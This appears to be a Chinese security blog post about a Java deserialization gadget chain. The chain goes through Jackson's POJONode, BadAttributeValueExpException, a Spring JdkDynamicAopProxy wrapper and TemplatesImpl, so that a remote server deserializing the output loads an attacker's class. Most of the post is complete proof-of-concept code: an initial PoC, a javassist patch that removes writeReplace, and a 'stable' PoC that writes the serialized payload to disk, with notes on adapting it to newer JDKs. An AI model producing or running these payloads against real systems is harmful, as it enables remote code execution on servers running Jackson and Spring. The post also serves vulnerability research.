Spring自带Jackson依赖
Jackson在调用writeValueAsString序列化一个对象时会自动调用对象的getter方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package com.example.springonly;import com.fasterxml.jackson.core.JsonProcessingException;import com.fasterxml.jackson.databind.ObjectMapper;public class Jackson { public static void main (String[] args) throws JsonProcessingException { Dashing dashing = new Dashing ("bug1" , "bug2" , "bug3" ); ObjectMapper objectMapper = new ObjectMapper (); objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); String json = objectMapper.writeValueAsString(dashing); objectMapper.readValue(json,Dashing.class); } public static class Dashing { public String name1; public String name2; public String name3; public Dashing () { System.out.println("Dashing Constructor" ); } public Dashing (String name1,String name2,String name3) { this .name1=name1; this .name2=name2; this .name3=name3; System.out.println("Dashing 3 args Constructor" ); } public void setName1 (String name1) { System.out.println("Dashing setName1" ); this .name1 = name1; } public void setName2 (String name2) { System.out.println("Dashing setName2" ); this .name2 = name2; } public void setName3 (String name3) { System.out.println("Dashing setName3" ); this .name3 = name3; } public String getName3 () { System.out.println("Dashing getName3" ); return name3; } public String getName2 () { System.out.println("Dashing getName2" ); return name2; } public String getName1 () { System.out.println("Dashing getName1" ); return name1; } } }
输出
可以看到序列化时调用了getter,反序列化调用了setter,而且反序列化还调用的无参构造方法
所以只要让远程服务器用writeValueAsString序列化TemplatesImpl就可以加载恶意类
而Jackson自带的POJONode就能调用writeValueAsString序列化
初版Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public class Jackson { public static void main (String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, ClassNotFoundException { TemplatesImpl templatesImpl = getTemplatesImpl(); POJONode jsonNodes = new POJONode (templatesImpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException ("bug" ); setField(badAttributeValueExpException, "val" , jsonNodes); serial(badAttributeValueExpException); } public static TemplatesImpl getTemplatesImpl () throws NoSuchFieldException, NotFoundException, IOException, CannotCompileException { ClassPool pool = ClassPool.getDefault(); byte [] bytes = pool.get("org.example.springjava8.Evil" ).toBytecode(); TemplatesImpl templates = new TemplatesImpl (); Class templatesImplClass = templates.getClass(); setField(templates,"_name" ,"dashing" ); setField(templates,"_bytecodes" ,new byte [][]{bytes}); setField(templates,"_tfactory" ,new TransformerFactoryImpl ()); return templates; } public static void setField (Object obj, String name, Object value) throws NoSuchFieldException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); try { field.set(obj, value); } catch (IllegalAccessException e) {} } public static void serial (Object obj) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream ("D:/bug666" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(obj); } public static void deserial (byte [] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); new ObjectInputStream (byteArrayInputStream).readObject(); } }
序列化的时候报NullPointerException,看左下角的调用栈,可以看到BaseJsonNode#writeReplace
当对象被序列化时,Java 会优先调writeReplace。如果该方法返回了另一个对象,则序列化的内容将基于返回的对象,而非原始对象。
所以要用javassist给这个方法改个名字或者直接把这个方法删了,避免反序列化出问题(其实序列化的时候已经出问题了)
最原始的jackson链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 public class Jackson { public static void main (String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, ClassNotFoundException { changeMethodName("com.fasterxml.jackson.databind.node.BaseJsonNode" ,"writeReplace" ,"dashingBug" ); TemplatesImpl templatesImpl = getTemplatesImpl(); POJONode jsonNodes = new POJONode (templatesImpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException ("bug" ); setField(badAttributeValueExpException, "val" , jsonNodes); serial(badAttributeValueExpException); } public static TemplatesImpl getTemplatesImpl () throws NoSuchFieldException, NotFoundException, IOException, CannotCompileException { ClassPool pool = ClassPool.getDefault(); byte [] bytes = pool.get("org.example.springjava8.Evil" ).toBytecode(); TemplatesImpl templates = new TemplatesImpl (); Class templatesImplClass = templates.getClass(); setField(templates,"_name" ,"dashing" ); setField(templates,"_bytecodes" ,new byte [][]{bytes}); setField(templates,"_tfactory" ,new TransformerFactoryImpl ()); return templates; } public static void setField (Object obj, String name, Object value) throws NoSuchFieldException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); try { field.set(obj, value); } catch (IllegalAccessException e) {} } public static void serial (Object obj) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream ("D:/bug666" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(obj); } public static void deserial (byte [] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); new ObjectInputStream (byteArrayInputStream).readObject(); } public static void delMethod (String classname,String originName) throws NotFoundException, CannotCompileException { CtClass ctClass = ClassPool.getDefault().get(classname); CtMethod ctMethod = ctClass.getDeclaredMethod(originName); ctClass.removeMethod(ctMethod); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ctClass.toClass(classLoader,null ); } public static void changeMethodName (String classname,String originName,String newName) throws NotFoundException, CannotCompileException { CtClass ctClass = ClassPool.getDefault().get(classname); CtMethod ctMethod = ctClass.getDeclaredMethod(originName); ctMethod.setName(newName); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ctClass.toClass(classLoader,null ); } }
调用链
1 BadAttributeException#readObject->POJONode#toString->TemplatesImpl#getOutputProperties
但是jackson链存在不能稳定触发的问题(但是在我电脑上能稳定触发)
有时候会触发如下报错
1 2 3 4 5 6 7 8 9 Caused by: java.lang.NullPointerException at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450 ) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke(Method.java:483 ) at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689 ) at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774 ) ... 74 more
可能造成报错的点在BeanSerializerBase#serializeFields
问题出在this._props字段,上图是outputProperties在stylesheeyDOM之前,所以不会报错
但有时候stylesheeyDOM在outputProperties之前,因为_sdom字段为空就会造成空指针异常。
从JSON1链中学习稳定触发方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
这是JSON1的调用链
net.sf.json.JSONObject#defaultBeanProcessing尝试调用包裹对象的所有getter,但是可以看到它没有直接包裹TemplatesImpl,而是包裹的JdkDynamicAopProxy这个handler
看看这个handler的invoke
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 @Override @Nullable public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { Object oldProxy = null ; boolean setProxyContext = false ; TargetSource targetSource = this .advised.targetSource; Object target = null ; try { ... target = targetSource.getTarget(); Class<?> targetClass = (target != null ? target.getClass() : null ); List<Object> chain = this .advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass); if (chain.isEmpty()) { Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args); retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse); } else { ... } ... } return retVal; } finally { ... } }
这个类的advised字段类型为AdvisedSupport,其targetsource储存着所代理接口的实现类,代理类调用方法时会把调用实现类对应的方法,而TemplatesImpl接口Templates只有一个get方法,就是getOutputProperties,所以就能稳定触发了
放到Jackson链里也是同理,把handler为JdkDynamicAopProxy的代理对象放进POJONode里
稳定版POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 public class Jackson { public static void main (String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { changeMethodName("com.fasterxml.jackson.databind.node.BaseJsonNode" ,"writeReplace" ,"dashingBug" ); TemplatesImpl templatesImpl = getTemplatesImpl(); AdvisedSupport addvisedSupport = new AdvisedSupport (); addvisedSupport.setTarget(templatesImpl); Templates templates = getProxy(Templates.class, addvisedSupport); POJONode jsonNodes = new POJONode (templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException ("bug" ); setField(badAttributeValueExpException, "val" , jsonNodes); serial(badAttributeValueExpException); } public static TemplatesImpl getTemplatesImpl () throws NoSuchFieldException, NotFoundException, IOException, CannotCompileException { ClassPool pool = ClassPool.getDefault(); byte [] bytes = pool.get("org.example.springjava8.Evil" ).toBytecode(); TemplatesImpl templates = new TemplatesImpl (); Class templatesImplClass = templates.getClass(); setField(templates,"_name" ,"dashing" ); setField(templates,"_bytecodes" ,new byte [][]{bytes}); setField(templates,"_tfactory" ,new TransformerFactoryImpl ()); return templates; } public static void setField (Object obj, String name, Object value) throws NoSuchFieldException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); try { field.set(obj, value); } catch (IllegalAccessException e) {} } public static void serial (Object obj) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream ("D:/bug666" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(obj); } public static void deserial (byte [] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); new ObjectInputStream (byteArrayInputStream).readObject(); } public static void delMethod (String classname,String originName) throws NotFoundException, CannotCompileException { CtClass ctClass = ClassPool.getDefault().get(classname); CtMethod ctMethod = ctClass.getDeclaredMethod(originName); ctClass.removeMethod(ctMethod); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ctClass.toClass(classLoader,null ); } public static void changeMethodName (String classname,String originName,String newName) throws NotFoundException, CannotCompileException { CtClass ctClass = ClassPool.getDefault().get(classname); CtMethod ctMethod = ctClass.getDeclaredMethod(originName); ctMethod.setName(newName); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ctClass.toClass(classLoader,null ); } public static Templates getProxy (Class interfaces,AdvisedSupport ad) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { Class[] clazz = new Class []{interfaces}; Class aop = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor constructor = aop.getConstructor(new Class []{AdvisedSupport.class}); constructor.setAccessible(true ); InvocationHandler aopproxy = (InvocationHandler) constructor.newInstance(ad); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Templates templates = (Templates) Proxy.newProxyInstance(classLoader,clazz,aopproxy); return templates; } }
jdk高版本BadAttribute不能用,将他换成EventListener那条链子就行,toString之后还是一样的
梳理一下Jackson: BadAttribute#readObject->POJONode#toString->JdkDynamicAopProxy#invoke->TemplatesImpl#getOutputProperties
参考文章:从JSON1链中学习处理JACKSON链的不稳定性-先知社区